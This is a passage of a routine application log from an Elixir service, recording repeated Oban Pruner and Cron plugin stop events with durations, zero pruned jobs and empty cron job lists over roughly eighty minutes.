{"source":"oban","duration":795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:00.554 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:07:19.000 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:07:49.001 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:00.555 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:08:19.002 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:08:49.003 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:00.556 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:09:19.004 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:09:49.004 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:00.557 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:10:19.006 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:10:49.007 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:00.558 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:11:19.008 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:11:49.009 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:00.559 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:12:19.010 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:49.011 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.561 [info] {"source":"oban","duration":320,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:13:19.013 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:49.014 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.561 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:14:19.016 [info] {"source":"oban","duration":888,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:49.018 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.562 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:15:19.019 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:49.020 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.563 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:16:19.021 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:49.022 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.564 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:17:19.023 [info] {"source":"oban","duration":638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:49.024 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.565 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:18:19.025 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:49.027 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.566 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:19:19.028 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:49.030 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.567 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:20:19.031 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:49.032 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.568 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:21:19.033 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:49.034 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.569 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:22:19.035 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:49.036 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.570 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:23:19.037 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:49.038 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.571 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:24:19.039 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:49.040 [info] {"source":"oban","duration":486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.572 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:25:19.041 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:49.042 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.573 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:26:19.043 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:49.044 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.574 [info] {"source":"oban","duration":313,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:27:19.045 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:49.047 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.575 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:28:19.048 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:49.049 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.576 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:29:19.050 [info] {"source":"oban","duration":679,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:49.051 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.577 [info] {"source":"oban","duration":328,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:30:19.052 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:49.053 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.578 [info] {"source":"oban","duration":346,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:31:19.054 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:49.056 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.579 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:32:19.057 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:49.058 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.580 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:33:19.059 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:49.061 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.581 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:34:19.062 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:49.063 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.582 [info] {"source":"oban","duration":301,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:35:19.064 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:49.065 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.583 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:36:19.066 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:49.067 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.584 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:37:19.068 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:49.069 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.585 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:38:19.070 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:49.071 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.586 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:39:19.072 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:49.073 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.587 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:40:19.074 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:49.075 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.588 [info] {"source":"oban","duration":334,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:41:19.076 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:49.077 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.589 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:42:19.078 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:49.079 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.590 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:43:19.080 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:49.081 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.591 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:44:19.082 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:49.083 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.592 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:45:19.084 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:49.085 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.593 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:46:19.086 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:49.087 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.594 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:47:19.088 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:49.089 [info] {"source":"oban","duration":630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.595 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:48:19.090 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:49.091 [info] {"source":"oban","duration":595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.596 [info] {"source":"oban","duration":295,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:49:19.092 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:49.093 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.597 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:50:19.094 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:49.095 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.598 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:51:19.096 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:49.098 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.599 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:52:19.099 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:49.100 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.600 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:53:19.102 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:49.103 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.601 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:54:19.104 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:49.105 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.602 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:55:19.106 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:49.107 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.603 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:56:19.108 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:49.109 [info] {"source":"oban","duration":760,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.604 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:57:19.111 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:49.112 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.606 [info] {"source":"oban","duration":383,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:58:19.114 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:49.115 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.606 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:59:19.116 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:49.117 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.607 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:00:19.118 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:49.119 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.608 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:01:19.120 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:49.121 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.609 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:02:19.122 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:49.123 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.610 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:03:19.124 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:49.125 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.611 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:04:19.126 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:49.127 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.612 [info] {"source":"oban","duration":305,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:05:19.128 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:49.130 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.613 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:06:19.131 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:49.132 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.614 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:07:19.134 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:49.135 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.615 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:08:19.136 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:49.137 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.616 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:09:19.138 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:49.139 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.617 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:10:19.140 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:49.141 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.618 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:11:19.141 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:49.143 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.619 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:12:19.144 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:49.145 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.621 [info] {"source":"oban","duration":343,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:13:19.147 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:49.148 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.621 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:14:19.149 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:49.150 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.622 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:15:19.151 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:49.152 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.623 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:16:19.153 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:49.154 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.624 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:17:19.156 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:49.157 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.625 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:18:19.158 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:49.159 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.626 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:19:19.161 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:49.162 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.627 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:20:19.163 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:49.164 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.628 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:21:19.165 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:49.166 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.629 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:22:19.167 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:49.168 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.630 [info] {"source":"oban","duration":319,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:23:19.169 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:49.170 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.631 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:24:19.171 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:49.172 [info] {"source":"oban","duration":773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.632 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:25:19.174 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:49.176 [info] {"source":"oban","duration":572,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.633 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:26:19.177 [info] 